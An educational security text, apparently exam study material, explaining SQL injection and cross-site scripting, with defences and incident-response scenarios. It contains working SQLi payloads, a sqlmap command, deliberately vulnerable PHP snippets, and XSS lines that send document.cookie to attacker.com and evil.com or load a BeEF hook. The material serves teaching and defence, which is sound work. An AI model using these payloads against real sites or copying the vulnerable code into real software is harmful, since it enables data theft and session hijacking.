Application Attacks: SQL Injection, XSS

SQL injection (SQLi) is a code injection technique where an attacker inserts malicious SQL statements into an application's input fields (e.g., login forms, search boxes, URL parameters). These statements are then executed by the backend database, potentially allowing the attacker to view, modify, or delete data. The root cause is improper handling of user-supplied data: the application fails to distinguish between code (SQL commands) and data (user input).

Consider a simple login form that accepts a username and password. The backend PHP code might look like this:

$username = $_POST['username'];
$password = $_POST['password'];
$sql = "SELECT * FROM users WHERE username='$username' AND password='$password'";
$result = mysqli_query($conn, $sql);

If a user enters a normal username (e.g., 'alice') and password (e.g., 'secret'), the query becomes:

SELECT * FROM users WHERE username='alice' AND password='secret'

Now, if an attacker enters ' OR '1'='1 as the username and ' OR '1'='1 as the password, the query becomes:

SELECT * FROM users WHERE username='' OR '1'='1' AND password='' OR '1'='1'

Because '1'='1' is always true, the query returns all rows from the users table. The application sees a valid result and logs the attacker in as the first user (often an admin).

- In-band SQLi: The attacker uses the same channel to launch the attack and gather results. The two most common forms are: - Error-based SQLi: The attacker forces the database to generate an error message that reveals information (e.g., table names, column names). For example, injecting ' AND 1=CONVERT(int, (SELECT @@version)) -- may cause an error that shows the database version. - Union-based SQLi: The attacker uses the UNION SQL operator to combine the results of the original query with results from other tables. Example: ' UNION SELECT username, password FROM users --. - Inferential (Blind) SQLi: The attacker sends payloads that cause the application to behave differently based on whether a condition is true or false, allowing them to extract data bit by bit. Two types: - Boolean-based blind: Uses conditions like ' AND 1=1 -- (true) vs ' AND 1=2 -- (false) to observe differences in response. - Time-based blind: Uses functions like SLEEP(5) to cause a delay if a condition is true. Example: ' IF (1=1) WAITFOR DELAY '0:0:5' --. - Out-of-band SQLi: The attacker uses a different channel (e.g., DNS or HTTP requests) to exfiltrate data. This is less common but useful when the attacker cannot see the direct response. Example: using xp_cmdshell to send data to an attacker-controlled server.

Attackers follow a systematic process: 1. Reconnaissance: Identify input points (forms, URL parameters, HTTP headers). 2. Testing for vulnerability: Inject a single quote (') or a boolean condition (' AND 1=1--) to see if the application behaves differently. 3. Determine database type: Use database-specific functions (e.g., @@version for MSSQL, version() for MySQL) to identify the DBMS. 4. Extract data: Use UNION or blind techniques to retrieve table names, column names, and data. 5. Escalate: Attempt to gain administrative access or execute operating system commands (e.g., via xp_cmdshell on MSSQL).

- SQLMap: The most popular automated SQLi tool. A basic command:

sqlmap -u "http://example.com/page?id=1" --batch --dbs

This tests the URL for SQLi and lists databases. - Manual payload: For a MySQL database, to list all tables:

' UNION SELECT table_name, NULL FROM information_schema.tables --

XSS is a vulnerability where an attacker injects malicious client-side scripts (usually JavaScript) into web pages viewed by other users. Unlike SQLi, which targets the database, XSS targets the user's browser. The injected script can steal cookies, session tokens, redirect users to phishing sites, or deface web pages.

XSS occurs when an application includes user-supplied data in its output (HTML) without proper escaping or validation. For example, a comment form that displays user comments:

$comment = $_POST['comment'];
echo "<div>$comment</div>";

If an attacker submits:

<script>alert('XSS')</script>

When any user views that page, the browser executes the script, displaying an alert box. A real attacker would use a more malicious payload, such as:

<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>

This sends the victim's cookies to the attacker's server.

Attackers typically craft a payload that: 1. Steals cookies: document.cookie is sent to an attacker-controlled server. 2. Captures keystrokes: A keylogger script records everything the victim types. 3. Defaces the page: Changes the content displayed to the user. 4. Phishing: Injects a fake login form that sends credentials to the attacker.

- BeEF (Browser Exploitation Framework): A tool that uses XSS to hook browsers and execute commands. A hook payload:

<script src="http://attacker.com/hook.js"></script>

- Manual payload for cookie theft:

<script>new Image().src='http://attacker.com/steal.php?cookie='+document.cookie;</script>

- Prepared Statements (Parameterized Queries): The most effective defense. SQL code is defined separately from data. Example in PHP:

$stmt = $conn->prepare("SELECT * FROM users WHERE username=? AND password=?");
  $stmt->bind_param("ss", $username, $password);
  $stmt->execute();

- Output Encoding/Escaping: Encode user-supplied data before rendering it in HTML. For example, convert < to <, > to >, " to ". Context matters: use HTML entity encoding for HTML body, JavaScript encoding for script contexts, URL encoding for URLs. - Content Security Policy (CSP): A browser security mechanism that restricts which scripts can execute. Example header:

Content-Security-Policy: script-src 'self' https://trusted.cdn.com

This blocks inline scripts and only allows scripts from the same origin or a trusted CDN. - Input Validation: Validate input on the server side; reject or sanitize unexpected data. - HttpOnly Cookies: Set the HttpOnly flag on cookies to prevent JavaScript from accessing them via document.cookie. This mitigates cookie theft via XSS but does not prevent other XSS impacts. - X-XSS-Protection Header: Older browsers used this (e.g., X-XSS-Protection: 1; mode=block), but it is deprecated in modern browsers; CSP is preferred. - Framework Features: Modern web frameworks (e.g., React, Angular, Django) automatically escape output by default, but developers must still be careful with dangerous functions like innerHTML.

Scenario 1: E-commerce Site Breach via SQLi A SOC analyst at a large e-commerce company notices an unusual spike in database errors from the product search page. The errors include SQL syntax errors. The analyst uses a web application firewall (WAF) log to identify the source IP and the payload: ' UNION SELECT credit_card_number, expiry FROM payments--. The analyst immediately blocks the IP and alerts the incident response team. They find that the application uses dynamic SQL with concatenated user input. The correct response is to temporarily take the search page offline, implement prepared statements, and perform a database audit to confirm no data was exfiltrated. A common mistake is to only block the IP without fixing the code, leaving the vulnerability open for other attackers.

Scenario 2: Stored XSS in a Corporate Intranet Forum A user reports that when they view a specific forum post, their browser redirects to a phishing site. The security team examines the post and finds injected HTML: <script>document.location='http://evil.com/steal?creds='+document.cookie</script>. The team uses browser developer tools to inspect the page source and confirms the script is stored in the database. They immediately delete the post, reset all session cookies, and require users to re-authenticate. They also implement output encoding for all user-generated content and add a Content Security Policy header that disallows inline scripts. A common mistake is to only delete the malicious post without addressing the root cause, allowing the same attack to recur.

Scenario 3: Reflected XSS in a Search Engine A penetration tester discovers that a company's internal search engine reflects the search term in the page without encoding. The tester crafts a URL: http://search.company.com/?q=<script>alert('XSS')</script>. The tester reports this as a medium-severity finding. The development team fixes it by HTML-encoding the search term before rendering. The security team verifies the fix by re-testing with various payloads. A common mistake is to only block specific script tags via a WAF, which can be bypassed with alternative payloads like <img src=x onerror=alert(1)>.